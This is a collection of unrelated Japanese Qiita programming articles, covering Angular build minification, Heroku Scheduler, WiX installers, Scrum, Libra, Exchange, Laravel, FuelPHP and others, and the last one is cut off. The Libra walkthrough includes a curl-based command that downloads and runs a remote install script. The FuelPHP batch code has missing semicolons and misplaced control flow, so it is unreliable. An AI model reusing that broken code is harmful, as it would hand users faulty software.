OmniAICreator/Qiita-1.07M huggingface dataset:
ng build --prodではまった話

# ng build --prodは最適化ビルド
「最適化」ってのは具体的に何してんだかわかんないけど、cssやjsのpackみたいなもんかなって思ってたんですよ。実際--prodでビルドした後のmain.jsは一行になってたし、そんなところだろうと・・・。
## 朧げな理解しかしてなかった「最適化」にはまる
先日、本番環境のみ動作しないコードがあって、開発環境やステージング環境ではもちろん正しく動いているんだけど、まあ、あるあるだよねと環境面から切り分けをしていたわけなんですが、どうも原因がわからない。仕方ないのでデバッグコード仕込んでいろいろ見てたら、ng buildの--prodによる最適化により処理が変わってしまっていたコードがあったことが原因でした。
## obj.constructor.nameは使っちゃダメ
結論から言うと、これでした。
本番と開発環境で設定により処理を切り替えたいロジックがあって、設定値とクラス名の突合で切り替えるようなロジックを書いていたんです。以下みたいな感じ

        for (let pub of this.publishers) {
          if(env_publishers.includes(pub.constructor.name)) {
            // 確認用
            console.log('pub name is ->' + pub.constructor.name);
            // 設定されたpublisherのみ使う
            await pub.exec(entry);
          }
        }


publisherのクラス名をobj.constructor.nameで取得し、それが設定値の配列に含まれるかを判定したかったんですよ。
ステージングや開発環境では問題なく動作していて、console.logの出力も

```
 pub name is ->hogehoge
```
ってなるんですが、ng build --prodをデプロイした環境では

```
 pub name is ->e
```
ってなってました。
そんなバカな・・・って思い、console.dirでpublishersを出力してみたら


```
Array(2)
0: hogehoge {_myFunction: t, _apiPath: "/hogeratta"}
1: fugafuga {_myFunction: t, _apiPath: "/fugaratta"}
length: 2
__proto__: Array(0)
```
って開発環境でなってるのが、

```
Array(2)
0: e {_myFunction: t, _apiPath: "/hogeratta"}
1: e {_myFunction: t, _apiPath: "/fugaratta"}
length: 2
__proto__: Array(0)
```
みたいになってました。。。
おいおい、最適化ってそこまでやるのかよ、と・・・

その後改めて調べてみたら、本家の[issue](https://github.com/angular/angular-cli/issues/5168)にも以下のように書かれてました。
`so it is a recommendation not to use constructor.name.`

そ、そうですか・・・。
一応バグらしいですが、closeされちゃっていて修正される気配ないのでinstanceof使っておきます。という話でした。
Heroku Schedulerで毎週特定曜日や毎月特定の日にちにタスクを実行する方法

## はじめに
Heroku Schedulerを使って毎週火曜日にタスクを実行しようとしたらHeroku Schedulerの管理画面上に曜日指定の設定がなかった。そのため、曜日などを指定してタスクを定期実行したいときのメモを残しておく。
今回はrun commandでbashのifを使って条件指定したけど、taskの処理内で条件を指定することもできそう。

## 手順
Heroku Schedulerをブラウザ上で開き Add Jobボタンから JobEditor を開き設定する。

![Heroku Scheduler.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/71642/d2a99438-4e1c-acae-35a2-bb1b081454cc.png)

## サンプル
### 毎週火曜日に実行したい場合

```bash
$ [ $(date +%u) = 2 ] && rake task hogehoge
```

### 毎月3日に実行したい場合
```bash
$ [ $(date +%d) = 03 ] && rake task hogehoge
```

## 参考
* [dateコマンドの参考](https://hydrocul.github.io/wiki/commands/date.html)
[WiX] msi の upgrade 時の話

毎回忘れて調べ直しているのでメモとして残しておく。
Wix 3.11.1 を使用。

# Upgrade の種類
### Major Upgrade
- Product version と Product GUID を更新する。
- 日本語版チュートリアル等には Package GUID を更新するとも書いてあるが、これは意識しなくても毎回変更されるので気にしなくていい。
- Visual Studio で Wix のプロジェクトを作成すると default で Product GUID が "*" になっている。このまま build すると毎回 Product GUID は変更されるので、Major Upgrade したくないときにはここに GUID を割り当てる必要がある。
- Major Upgrade 時には常に Uninstall -> Install が行われるので Uninstall を避けたい場合には Minor Upgrade にしておく。
- Component GUID に変更がある場合は常に Major Upgrade を選択する必要がある。
- 基本的には Major upgrade を選択しておくので問題ないと思われる。

### Minor Upgrade
- Product version のみを更新する。Product GUID は変更しない。
- 正直やったことない。

### Small Upgrade
- 名前だけついているが Small Upgrade を選択することはないと思われる。


# Component GUID を変更するタイミング
- Wix は原則として 1 File 1Component が基本だが、もし複数ファイルを含めた場合でファイル数が増減する場合には必ず Component GUID を変更する必要がある。
- File に更新があっただけの場合には Component GUID を変更する必要はないと思われる。
- 同じ component GUID を持つ component が複数回 install された場合には、OSはそのカウントを覚えているっぽい。例えば同じ msm を別の msi で展開する場合は同じ Component GUID を持っていれば uninstall もうまいことやってくれるということかもしれない。怖いので試したことはない。


参考：
[WiX チュートリアル日本語版](https://wix-tutorial-ja.github.io/ch04/index.html)
[WiXではじめるWindows Installer作成入門 第6回](https://codezine.jp/article/detail/817)
[[WIX] INSTALLERのCOMPONENT IDの付け方](https://moated.wordpress.com/2011/05/09/wix-installer%E3%81%AEcomponent-id%E3%81%AE%E4%BB%98%E3%81%91%E6%96%B9/)
[[WiX] 簡単メジャーアップグレード対応](http://blogs.wankuma.com/tocchann/archive/2011/05/18/199137.aspx)
[Change my component GUID in wix?](https://stackoverflow.com/questions/1405100/change-my-component-guid-in-wix)
Scrum Inc. の 認定スクラムマスター と 認定セミナー

## モチベーション

受託開発を続けていると、プロジェクト開発時に計画していた *期間* と *費用* 通りに進行することはないので、 *期間* と *費用* を守るために *バッファ* を設けて経験的に上振れした *期間* と *費用* 対応する準備をします。

プロジェクトが開始されると、判断待ちや予期していないトラブル、また、一つ一つは小さな「あった方がいいんじゃない」機能の積み上げでバッファは直ぐに無くなってしまいます。プロジェクトマネージャが顧客と調整するものの、どうしても開発担当者には無理がかかり、お客様には伝え難いことを伝えなければならず、顧客満足度を下げてしまいます。

受託開発の多くはお客様の希望に沿ったハンドメイドな開発の進め方で、パッケージ商品のカタログ販売ではないと思っています。お客様が頭の中で思い描いている モノが抽象的であったり、大枠は決まっているものの細部は未決定であることが多いので、立ち止まることが部分的なやり直しが発生してしまいます。

ウォーターフォールでは不確定要素に対応しきれないので、みんながハッピーになるプロジェクトの進め方を理解したいと考えて、認定スクラムマスターを受講しました。

## 認定セミナーの内容

2日間の研修ではスライドの説明と、スクラムの考えを理解するための体験/チーム内のディスカッション が交互に入れ替わるので、退屈にならないプログラム進行になっていました。特にフローの最適化を理解する体験の、`価値` の理解がど直球でユニークでした。

スライドの説明を聞いていると、どこかで聞いた記憶がある考え方が説明されと思ったら  [ザ・ゴール](https://www.amazon.co.jp/dp/4478420408) から始まる TOC(Theory of Constraints) の考え方でした。どちらも `トヨタ生産方式` の影響を受けています。例えば、

- 適切なバッファ
- 仕掛かりは無駄
- 人が行う作業時間が細切れになると生産性が落ちる ( スクラムなら「マルチタスクをしない」、 TOCなら「バッチサイズが小さいとセットアップの時間の回数が増える」)
- 人のスキルに依存して時間当たりの生産量が下がることを防ぐ ( スクラムなら「スウォーミング」、TOCでの単語は忘れたけど、単純工/多能工 の話があったはずです)

Scram Inc. の認定セミナーを受けて感じたのは手法や考え方がテンプレート化されているので、実務へのて適用を考えやすいと思います。一通り終わってから、「守破離」を説明された意味を理解しました。

## 認定セミナーを受講する前と比較して、認識を改めたもの

受託開発に適用することを想定しています。また、個人の考えや経験に基づくも内容です。

1. プロダクトオーナー + スクラムマスター = 小規模開発のプロジェクトマネージャ ？
    - プロダクトオーナー を 製品責任者 に読み替えてしまうと、発注企業の担当者やその上長をイメージします。しかし、期待される役割を考えると、受託企業のプロジェクトマネージャがプロダクトオーナーを担うのが良いと思います。発注企業の担当者がカスタマーであり、決裁者はステークホルダーです。
    - 規模が大きくなるとサブシステムの責任者がプロダクトオーナーに置き換えれば、Scram of Scramの考え方を適用しやすいと思います。
2. ハックログの「準備完了」 と「受け入れ条件」
    - 当たり前といえば当たり前なのだけど、雰囲気でプロジェクトを進めていると、作業にするときに前提条件に気づいたり、受け入れ条件が曖昧なために90%のまま放置され完了しない作業はよく目にします。
    - これらへの気配りは担当者依存が大きいと感じています。手法として定められているので、無駄や仕掛かりのまま放置を防ぐ一助になります。
3. 見積もり
    - 受託開発の計画では作業量を高精度な絶対値で考えがちなので、「やってみないと分からない」や「全能のスーパーマンじゃないから分からない」と心の中で叫ぶことが多々ありました。
    - プロジェクトを通した基準を決めて、基準からの相対値をプランニングポーカーで合意するのは、スプリントと「昨日の天気」もあり、見積もり不足へのプレッシャーから解放されると期待できます。
新しい現場でごぼう抜きするノウハウ

# はじめに
新しい現場に入る度に
数週間で元からいるメンバーを抜いてリードエンジニアになることが多いので
現場に入ったら何をしているのかを自分なりにまとめてみようかと思いました。

誰にでもできるのかどうかとかはちょっと分かりませんが
少なくても僕は毎回この方法ですぐに結果を出すことができていますので
興味のある方は読んでみてください(^^)

僕はこのやり方で結果を出し続け
今では、なりたくもなかった代表取締役社長になっているぐらいですので
実際に結果が出るノウハウだと思います。

なりたくもなかった代表取締役になっている件に関しては
また別で記事でも書けたらと思います。笑

# ①現場を知る
・プロジェクトの概要
・おおまかな全体像
・存在しているスケジュール
・現在の状況

まずはこの辺りをしっかり押さえるようにしています。

# ②人を知る
・プロジェクトの体制
・どの人がどれぐらい現場にいてどういうことを担当しているのか
・決定の権限を持っている人
・プロジェクトの責任を取るべき人
・その人が頼りにしている人
・プロジェクトの知見が豊富な人
・技術的な知見が豊富な人

どんな時に誰と話したらよいのか
どういう順番でコミュニケーションを取っていったらよいのかなどを考えます。

# ③ひたすら１人１人と話して回る
現場に入ったばかりなので挨拶に行ってもおかしくはありません。
その時に一緒に話を聞くようにしています。

・いつこの現場に来たのか
・今はどういうことをしているのか
・この現場の感想
・困っていることはないか
・誰が頼れるか
等々

とにかく聞いて聞いて聞きまくります。
話しやすい人だとついでにおいしいランチのお店とかも知れます。笑
何なら一緒に連れて行ってもらえてそこでもまた色々聞くことができます(^^)

# ④この現場に足りないものを考える
状況がわかって色んなことが知れたら
この現場で何が足りていないのかを考えます。

・まとめる人？
・レビューア？
・進捗管理者？
・手を動かす人？
・体制は正しい？
・適材適所になっている？
・やり方合ってる？

# ⑤何をすべきかを考える
多くの場合、現場に入ってから少しは準備や資料読みの時間が与えられます。
その間にヒアリングした結果から思考を巡らせて組み立てをします。

アジャイルの現場だと初日からコーディング！ということもありますが
ある程度それに応えつつも、聞くことや考えることをやめてはいけません。
もし泥船だった場合、一緒に沈むハメになります。笑

大抵の場合は、まとめ役がおらずバラバラに動いているので
統一性がなかったり、ルールが不明瞭なことで
問題が起きている（もしくは起きる寸前な）ことが多いため
そこに入るのがベストです。

実績もない現場に来たばかりの人間がそこに入るのは大変なのかもしれませんが
圧倒的な現場の生の情報量をしっかり取れていれば
論理立てていかにダメでヤバイのかを理路整然と説けるはずなので
権限と責任を持っているトップの人にぶつけて任せてもらうのが一番です。

問題があってヤバイところを、自らやってくれるって言ってる人がいたら
少なくても一旦は任せてくれます。笑

１人が厳しいようであれば、その現場を良く知っている
ナンバー２や現場歴の長い方・頼られている方を一緒に連れていけば大体はOKです。
現場を良く知っている人ならヤバさを良く分かっているので
一緒に来てくれることが多いです。

# ⑥結果を出す
任せてもらえたら結果を出すだけです。
「え？どうやって？」と思うかもしれませんが
これも実はそんなに難しいことではありません。

最初はもちろん分からないことだらけなので
分からないことがある度に周りに聞きます。

ただただ聞いているだけで全部のノウハウは仕入れられます。
すごいAさん、物知りBさん、頼られCさんがいたとして
その３人と絡んでいれば自然とプロジェクトで一番の人になれます。

どの現場であっても
人が持っている情報やスキル・ノウハウをただただ拝借するだけです。
これだけですぐに勝てます。笑

# まとめ
ということで、ただただ聞いて考えて行動するだけで
早いと１週間もあればごぼう抜きして権限を持つことができたりします。

それができない！って方もいるのかもしれないので
万人ができるノウハウではないのかもしれませんが
周りの人が知っていることを吸収すれば勝てるというのは単なる足し算の話なので
それをやらずして「できない」というのはちょっと違うのかもしれません。

少なくても
「知りません」とか
「あっそれは〇〇さん担当です」とか
「〇〇さんに聞いてください」とか
ってことをしてる人がいたら
それが一番やってはいけないことだと思います。

自分が知らないことがあったら
・知っている人に聞いてその人に返すか
・その人と一緒に知っている人に聞きに行くか
・その人が聞いた結果をあとで聞きに行くか
必ずどれかです。

知らないままにするということさえしなければ
ごぼう抜きできるに決まっています。

知っていることしか答えていないのであれば
まずはそれをやめるのが先決です。

# 終わりに
テキストだけのこんな記事を最後までお読みいただきありがとうございました。
疑問・質問・相談・反論などなど、何かあれば是非コメントください✨

LINEのオープンチャットにもいますので
そちらで色々話し合うのも楽しいかもしれません(^^)
https://line.me/ti/g2/xN5RGD-_b8b3i5W2g-NN2w

いつの間にか社長になっちゃった話や
サラリーマンなのに本に載っちゃった話だとか
様々な経験もしていたりするので
色んな方とお話しながら楽しく働けたらいいなと思います(^^)

最後の最後までありがとうございました！
FacebookのLibraをMacで使ってみた（インストールからアカウント間での送金まで）

#実行環境
- OSバージョン：10.14.3

#まずはインストール
以下を参考に行った
https://developers.libra.org

##HOMEディレクトリに移動
```
cd ~
```

##Clone Libra

```
git clone https://github.com/libra/libra.git && cd libra
```

##ブランチの切り替え
```
git checkout testnet
```

##Install Dependencies
```sh
./scripts/dev_setup.sh
```
こんなエラーが出たら

```
Missing package manager Homebrew (https://brew.sh/). Abort
```
Homebrewを以下コマンドでインストール

```
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
```

##Run the CLI
```
./scripts/cli/start_cli_testnet.sh
```

#アカウント作成から送金まで
AさんとBさんを作成して送金してみる。
##アカウント作成Aさん
```
libra% account create
>>Created/retrieved account #0 address 0c5e0a2ebf0f5cdf71c06565aba069dc3065575495c66919fd52618dbc29def1
```

##アカウント作成Bさん
```
libra% account create
>> Creating/retrieving next account from wallet
Created/retrieved account #1 address 19d52e921e42df9fd393a3428a876444b5714658ea46110d6d64ea8883c91081
```

##作成したアカウントを確認
```
libra% account list
User account index: 0, address: 0c5e0a2ebf0f5cdf71c06565aba069dc3065575495c66919fd52618dbc29def1, sequence number: 0, status: Local
User account index: 1, address: 19d52e921e42df9fd393a3428a876444b5714658ea46110d6d64ea8883c91081, sequence number: 0, status: Local
```
sequence numberはアカウントから送信されたトランザクション回数を表す。

##Aさんに110コインを付与
```
libra% account mint 0 110
>> Minting coins
Mint request submitted
```

##Bさんに52コインを付与
```
libra% account mint 1 52
>> Minting coins
Mint request submitted
```

##Aさんの残高を確認
```
libra% query balance 0
Balance is: 110.000000
```

##Bさんの残高を確認
```
libra% query balance 1
Balance is: 52.000000
```

##AさんからBさんへ10コイン送金
```
libra% transfer 0 1 10
>> Transferring
Transaction submitted to validator
To query for transaction status, run: query txn_acc_seq 0 0 <fetch_events=true|false>
```
##Aさんのトランザクション回数が1になっていることを確認
```
libra% account list
User account index: 0, address: 0c5e0a2ebf0f5cdf71c06565aba069dc3065575495c66919fd52618dbc29def1, sequence number: 1, status: Persisted
User account index: 1, address: 19d52e921e42df9fd393a3428a876444b5714658ea46110d6d64ea8883c91081, sequence number: 0, status: Persisted
```
##AさんからBさんに10コイン送金されて残高が変わっていることを確認
```
libra% query balance 0
Balance is: 100.000000
```
```
libra% query balance 1
Balance is: 62.000000
```
Edgeサーバーのメールトラブル

環境とメールフロー:
Exchange Server 2010MBX(MBX)->Exchange Server2010HUB(HUB)->Edgeサーバー(Edge)->O365
サイト:HUBとEdgeは同一サイト

Edgeサーバーの構築で、以下の設定が起因でメール送受信トラブルが発生した。

1.Edgeサーバーの受信コネクタ設定
Remote IP address rangesでHUBのIPアドレスを許可に加えていなかった。
初期では全許可(0.0.0.0-255.255.255.255)だったが、
当初はHUB以外のサーバーを経由してメールを受信する予定だったため、IPが変更されていた。

2.送信コネクタの設定後にStart-EdgeSynchronization実行
送信コネクタの変更を行った後、Exchange管理シェルからStart-EdgeSynchronizationを実施しておらず、送信コネクタの情報がEdgeに同期されていなかった。

3.50389のポート解放
HUB->Edgeに対して50389のポートが許可されていなかった。
Edgeサブスクリプションが失敗するため、送信コネクタの設定がEdgeに同期されない。
Exch2013以降はMBX->Edgeに対して許可が必要のため、同様に設定していたため通信できなかった。

参考:
https://docs.microsoft.com/ja-jp/exchange/edge-transport-server-planning-exchange-2013-help

補足:
組織内のHUBからEdgeサーバーへメール送信は、手動で送信コネクタを作成無しで可能である。
Edgeサブスクリプション購読済みの環境では暗黙的に用意されたSMTPコネクターが利用される。
Edgeサーバーから組織内のHUBへは、EdgeSyncで作成されたコネクタが利用される。
https://blogs.technet.microsoft.com/exchangeteamjp/2015/11/24/edge-1/
【オーナー向け】消費税増税対策は万全？続！ネットショップ何でも相談会 | EC-CUBE名古屋 vol.71

# 今回は文字が多いので Qiita スライドモードでお送りします

----

# Agenda

- 事前にお寄せいただいた Q&A
- フリー相談会

----

# 事前にお寄せいただいた Q&A

----

# 2.13.2から2.17へのアップデート実践方法

- PHP7対応及び、 Composer 対応のための変更が多いです。[差分](https://gist.github.com/nanasess/928104c562f3149f966d3d047508f827)
- 大きな仕様変更や、データベースの変更はありません
- 近日中にまとめつくります → [とり急ぎ作りました](https://qiita.com/nanasess/private/ff9bbde34f7d44240c06)

----

# キャッシュレス・消費者還元事業への適用手順について

*現在契約のイプシロンでは、専用プランにプラン変更を
する必要がありました。固定費が発生するため売上が少ない場合は逆に経費の方がかかりそうです。*

決済代行業者の決済手数料を3.25%以下にする必要があり、いろいろ悩ましいようです

----

# 2.12における軽減税率システムを一番手間を掛けずできるだけはやく導入できる方法を探りたい

- 税込価格にして、商品名に軽減税率対象である旨を記載するのが近道
- 区分記載請求書が欲しい方は個別対応

- 税込価格にできない場合はこちらかな。。
<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">昨日のEC-CUBE東京ユーザグループの勉強会で僕の発表で使った資料はこちら。<br>EC-CUBE2.13系は税率周りは国際化対応チャレンジの名残で意外と充実しとります。<a href="https://t.co/azYSD704y2">https://t.co/azYSD704y2</a><a href="https://twitter.com/hashtag/eccube?src=hash&amp;ref_src=twsrc%5Etfw">#eccube</a> <a href="https://twitter.com/hashtag/CMS?src=hash&amp;ref_src=twsrc%5Etfw">#CMS</a> <a href="https://twitter.com/hashtag/PHP?src=hash&amp;ref_src=twsrc%5Etfw">#PHP</a> <a href="https://twitter.com/hashtag/OpenSource?src=hash&amp;ref_src=twsrc%5Etfw">#OpenSource</a> <a href="https://twitter.com/hashtag/%E8%BB%BD%E6%B8%9B%E7%A8%8E%E7%8E%87?src=hash&amp;ref_src=twsrc%5Etfw">#軽減税率</a> <a href="https://twitter.com/hashtag/%E6%B6%88%E8%B2%BB%E7%A8%8E?src=hash&amp;ref_src=twsrc%5Etfw">#消費税</a> <a href="https://twitter.com/hashtag/ecommerce?src=hash&amp;ref_src=twsrc%5Etfw">#ecommerce</a></p>&mdash; Tao Sasaki (@tao_s) <a href="https://twitter.com/tao_s/status/1169912942218760192?ref_src=twsrc%5Etfw">September 6, 2019</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

----

# フリー相談会

----

# 今日のまとめ

----

# ご静聴ありがとうございました！
UDPでネットワークの状態を可視化する

簡単にUDPで端末間のパケットロスを可視化したい時ようにツールを作ってみました。クロスプラットフォームに対応しています。こんな用途で利用できればと思ってます。

- Wifi接続状況やパケットロスの確認
- ルーターの最大通信速度の確認
- インターネット接続が怪しい時のプライベートネットワークのパケットロス確認

こんなイメージで利用を想定してます。

![sample_udp_doc.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/124012/24fe4222-3568-17c1-9625-dd1197a56ecb.png)


## 必要な環境

python 3.4.0以上

## 使い方

> 上図のMacとRaspberry Piを前提にしています。

### Raspberry Pi

- IPアドレスを確認します。今回は**192.168.11.11**。

- simple-udp-communicatorを`git clone`します。

```
git clone https://github.com/65usami/simple-udp-communicator.git
```

- `server.py`を指定の待ち受けポートで起動します。今回は**13001**。

```
cd simple-udp-communicator
python server.py 13001
```

↓のように待機状態になります。
> UDP Server

> Parameters:
> Receive Port : 13001

### Mac

- simple-udp-communicatorを`git clone`します。

```
git clone https://github.com/65usami/simple-udp-communicator.git
```

- `client.py`に対象IPアドレスとポートを指定して実行します。
    - IPアドレス:192.168.11.11
    - ポート:13001

```
cd simple-udp-communicator
python client.py '192.168.11.11' 13001
```

↓のようにRaspberry Pi宛へパケットが配信されます。

> UDP Client

> Parameters:
> IP                 : 192.168.11.11
> Port               : 13001
> Maximum mbps       : 3.0
> Duration time(sec) : 5
> Actual Packet size : 1436
>  - Original size   : 1500

> Results:
> datetime sent count sent size(bps)
> \-------- ---------- --------------
> 2019-09-07-12:07:04 261 2,998,368
> 2019-09-07-12:07:05 261 2,998,368

Raspberry Piのパケット受信状況と一緒に見るとこのような結果になります。

![demo_simple_udp.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/124012/15e9c71c-3b4e-c292-0e2a-d51a12cd3b23.gif)

### 補足
最終的なパケット配信サイズ(bytes)は**Actual Packet size**になります。
Actual Packet sizeはOriginal sizeからパケットヘッダーサイズを差し引いたサイズになります。Original sizeはオプションで変更できます。
管理画面？ API？ URLでどのページかを判別するLaravelっぽい方法

# 何この記事？

アプリケーションコード中の任意の場所で、「管理画面だった」「APIだったら」「特定のディレクトリ配下だったら」といった、URLによって条件分岐をしたい場合、Laravel的にどうするのがいいのか？を考えた足跡です。

```php:イメージ
// 管理画面の場合だけメッセージを出したい
if( CurrentUrl() == '/admin' ){
   ShowMessage('エラーです');
}
```

# 結論

## URLは使わない

いきなり全否定してすみませんが、URLは使わないでください。
でも使うとしたらこんな感じ。

```php
// URLのディレクトリが /admin で始まる場合
if( strpos(\Request::path(),'admin/')===0 ){
    // 常にデバッグモードでLaravel標準エラー画面を表示
    config(['app.debug' => true]);
    return parent::convertExceptionToResponse($e);
}
```

書いたのはワタクシですが……。@[エラー画面のレンダリング条件を追加する](https://qiita.com/kd9951/items/b1bccc4666976ec90dcc#a-web%E3%82%A8%E3%83%A9%E3%83%BC%E7%94%BB%E9%9D%A2%E3%81%AE%E3%83%AC%E3%83%B3%E3%83%80%E3%83%AA%E3%83%B3%E3%82%B0%E6%9D%A1%E4%BB%B6%E3%82%92%E8%BF%BD%E5%8A%A0%E3%81%99%E3%82%8B)

使うな！って言っておいてあれですが、こうするともっとエレガントです。

```php
if (\Request::is('admin/*')) { 
```

## Routeを使う

Laravelでは、URLやページ構成をすべて「ルーティング」で管理しているので
こういった要件には「ルーティング」を使うのが定石です。
上記コードはこのように置き換えできます。

```php
// route名が admin. で始まる場合
if (\Route::is('admin.*')) { 
    // 常にデバッグモードでLaravel標準エラー画面を表示
    config(['app.debug' => true]);
    return parent::convertExceptionToResponse($e);
}
```

ちなみに、しれっとワイルドカードが使用できましたが、これはLaravelのStrクラスの機能です。
自分のコードの文字列判定にも使えるので覚えておくと便利ですよ。

```php
use Illuminate\Support\Str;
if( Str::is( 'laravel*', 'laravel framework' ) ){ // true
```

# 解説

「URL判定する」という要件はよくあるのですが、そこで素直に「URLを文字列判定しよう」とか「今のURLってどう取得するんだっけ？」と発想していくのはそろそろやめませんか？という提案です。なぜなら、URLはHTTPという外部世界に依存したとても具体的な世界で、自分たちの全く力の及ばないところでコロっと変更を強いられることがあるからです。それに同じURLでも、リクエストメソッドによって全く別の処理をしているのはLaravelでなくてもふつうの話。

**「やばい！URLの /admin が一般的すぎてDOS攻撃を受けている。/secretAdmin5545 に変更しておいて」**

**「この /Post って大文字のURL、カッコ悪い※から /post にしておいて。あと複数形 /posts がいいな」**

**「/post/9999 にPOSTでアクセスしてきたときだけこのメソッド通して」**

<font color="#AAA">※「カッコ悪い」と感覚的な評価ありえない…と冗談っぽく書きましたが、重要なのは「人目にさらされている」ことです。エンドユーザーが見る、使う、広告媒体にもどーんと載るのがURLなので見た目の要求が出てくることがあります。ルート名ならカッコ悪くても内部でしか使わないのでそうした要求は起きない、と言いたいのです。</font>

そんな細かな要求に、毎回URLの文字列判定と、リクエストメソッドの判定を書くのは疲れました。

| METHOD | URL | ルート名 |
| --- | --- | --- |
| GET/HEAD | / | home |
| GET/HEAD | /posts        | posts.index|
| POST     | /posts        | posts.store |
| GET/HEAD | /posts/create | posts.create |
| GET/HEAD | /posts/{id}   | posts.show |
| PUT      | /posts/{id}   | posts.update |

Laravelさんは、URLとメソッドの組み合わせを、アプリケーション内で一意の文字列「ルート名」で管理しているので、
ルート名と仲良くなって、一枚上手なURL管理方法を手に入れましょう（＾＾）

ちなみに、URLを書く場合は、```route()``` ヘルパ関数を使います。```url()``` はもう使わないでね。
JavaScript  ドットインストールにて


JavaScriptの基礎知識
1..基本はデベロッパツールでエラーを見つけながらコードを書いていく。
2..HTMLやCSSで作られたページの操作ができる。
3..bodyの閉じタグの直前に書く理由..全てのHTML要素読み込んで操作したいから


ググったこと
・use stirct..プラウザがエラーチェックしてくれる。間違いがあった時に見つけやすい

・document..文章全体を指す。この後に.で繋げて'getElementById'とすると指定したidを持つ要素を文章全体から取得してねという意味になる。

・EventListener..何かが起きたら処理をしてねという命令

・=>..アロー関数、(){}を繋ぐ際に用いる

・{~}は関数の処理、この中に難行でも処理が書ける。

・定数...長い命令を短い名前で管理することが出来る。
        const 短い名前 = 命令文

例文

```js
const target = document.getElementById('target')
```



例)要素に関する処理を書くときにJavaScriptから要素を指定したい場合は’id’を使うと良い

```html
<div class="box" id="target"></div>
```
要素の取得プラス、.addEventListener()を使ってtargetクラスがクリックした時に次の処理をさせる命令。最後にはセミコロンを忘れずに

```js
document.getElementById('target').addEventListener('click',()=>{
```

この場合クリックしたらピンクに変化してと記述。

```js
document.getElementById('target').style.background='pink';});
```
設定した日にちが来たらDBの値を変更するメソッドを作った

設定した日にちが来たら、何らかの値を切り替えるようなメソッドを作成しました。
このメソッドは日にちが関係していることから、FUelPHPでバッチ処理をできるようにしています。

## メソッドの作成
FuelPHPでバッチ処理を行わせるには、 `fuel/app/tasks/` 以下のディレクトリ内のファイルにメソッドを定義する必要があります。
そして、ファイル名は「date.php」を作成して、以下のメソッドを定義していきます。

```php:date.php
public function changeValue()
{
  $month = date("n");
  $day   = date("j");

  if     ( $day == "10" ) $day = "1";
  elseif ( $day == "20" ) $day = "2";
  elseif ( $day == "30" ) $day = "3";
  if ( $month == "2" )
  {
    if   ( $day == "29" ) $day = "4";
  }

  $sports = \Sport::query()
    ->where('hold', 2)
    ->where('hold_date', $month)
    ->where('hold_date2', $day)
    ->get();

  $query = \DB::query("SELECT hold, hold_date, hold_date2 FROM sports WHERE hold = 2 AND hold_date = :month AND hold_date2 = :day");
  $query->parameters(array('month' => &$month, 'day' => &$day));
  $result = $query->execute()->as_array();

  foreach ( $result as $key => $val )
  {
    if ( $val['hold_date'] == $month && $val['hold_date2'] == $day )
    {
      foreach ( $sports as $sport )
      {
        $sport->hold       = "1"
        $sport->hold_date  = "0"
        $sport->hold_date2 = "0"
        $sport->save()
      }
    }

    return true;
  }
}
```

`date()` は `string` で取得されるので、注意が必要になります。

また、日にちは10日刻みで値を変更するようにしていて、2月時は29日で実行されるようにしました。

## バッチ処理の定義
サーバーに接続した状態で `crontab -e` を実行します。
そして、以下を追記します。

```
0 5 * * * /ファイルまでのディレクトリ/oil r date:changeValue 2>&1
```

今回は、毎朝５時に実行するように定義しました。
これにて、設定した日にちが来たら、何らかの値を切り替えるようなメソッドの作成は完了しました。
github actionsでtimezoneを設定する方法


envにTZ変数を指定する

JPなら'Asia/Tokyo'と指定する

使用できるTZの値一覧
https://en.wikipedia.org/wiki/List_of_tz_database_time_zones

参考
https://twitter.com/terrierscript/status/1167053825225527296?s=20
C#　初学者～paizaランクBまでの軌跡

#はじめに
この記事では、私がC#を学習し始めて、paizaランクBを取得するまでに理解し辛かったこと等を綴っています。初投稿ゆえにお見苦しい点があると思いますが、温かい目で読んで頂けると幸いです。


#paizaランクDになるまで
paizaの「C#入門編のレッスン」を第8回まで終え、演習課題も全て解いたところでDランクの問題にチャレンジしてみました。難なく解けました。paizaさんのレッスン動画は非常に分かりやすく、ある程度の基礎知識が習得出来ていたのだと思います。

実はpaizaラーニングを始める前に2冊ほどC#の参考書を読んだのですが、いまいちここに書かれてある知識を使ってどういったものが作れるのが、全く想像出来ませんでした。内容も非常に難解でした。paizaラーニングに出会っていなければ、C#言語の習得は不可能だったかもしれません。


#paizaランクCになるまで
Dランクの問題を40問ほど解いたところで、Cランクの問題に挑戦してみました。意外にあっさり解くことが出来ました。ただ、その後Cランクの難しい問題も見かけたので、大分難易度にバラツキがあるなと思いました。

この辺りからはpaizaラーニングで習得した知識だけでは解くことが出来ず、Google先生のお世話になり始めました。頻繁に使うメソッドなどはEvernoteに記録して、いつでも見返せるようにしました。LINQを知ったのもこの頃です。今でもLINQについてはあまり理解出来ていませんが、string配列からint配列への変換時など、一部限定的に利用しています。


#paizaランクBになるまで
ランクDの問題を全問解き、ランクCの問題を20問解いたところでBランクの問題に挑戦してみました。答えの導き方は分かったのですが、配列から2つの最大値を取得する方法が分からず、時間切れになってしまいました。
その後別の問題にチャレンジし、その問題は知っている知識だけで解ける問題だったので、無事にBランクになることが出来ました。

この辺りからは条件分岐がとにかく多くなり、for文の中にfor文を入れて更にその中にifとelse ifが3つ…などという状況になるので、変数も多くなるし、複雑なコードを正確に書く能力が求められているんだな、という感じがしました。時間はかかりますが、ループ文、条件式、リスト、配列等の基本さえしっかり抑えておけば解ける問題だったと思います。


#現在～
と、ここまで順調にpaizaランクを上げてきたわけですが、paiza経由で求人に何社か応募したところ、全てスキル不足による落選通知を頂き、paizaランクはあまり評価して頂けないという現実に直面しました。
制作実績やポートフォリオのことを質問されることが多く、最初からpaizaランク＋αを求められている感じでした。

ですので、今後は自作のアプリなどを作り、制作実績を残していく方向で進めていきたいと思います。私と同じように、未経験からIT業界への転職を目指されている方は、少しでも参考になるところがありましたら幸いでございます。拙文を読んで頂き、誠にありがとうございました。
background-colorのrgbaが機能しなかった時、意外な見落とし

background-colorのrgbaが機能していないという指摘をもらった。しかし、自分の環境（ mac os & Google Chrome, ios & safari ）では見えている。

最初に思いついたのが「ベンダープレフィックスかな？」と。けれど、 can i use で確認したところ、そうではなさそうだ。https://caniuse.com/#search=rgba

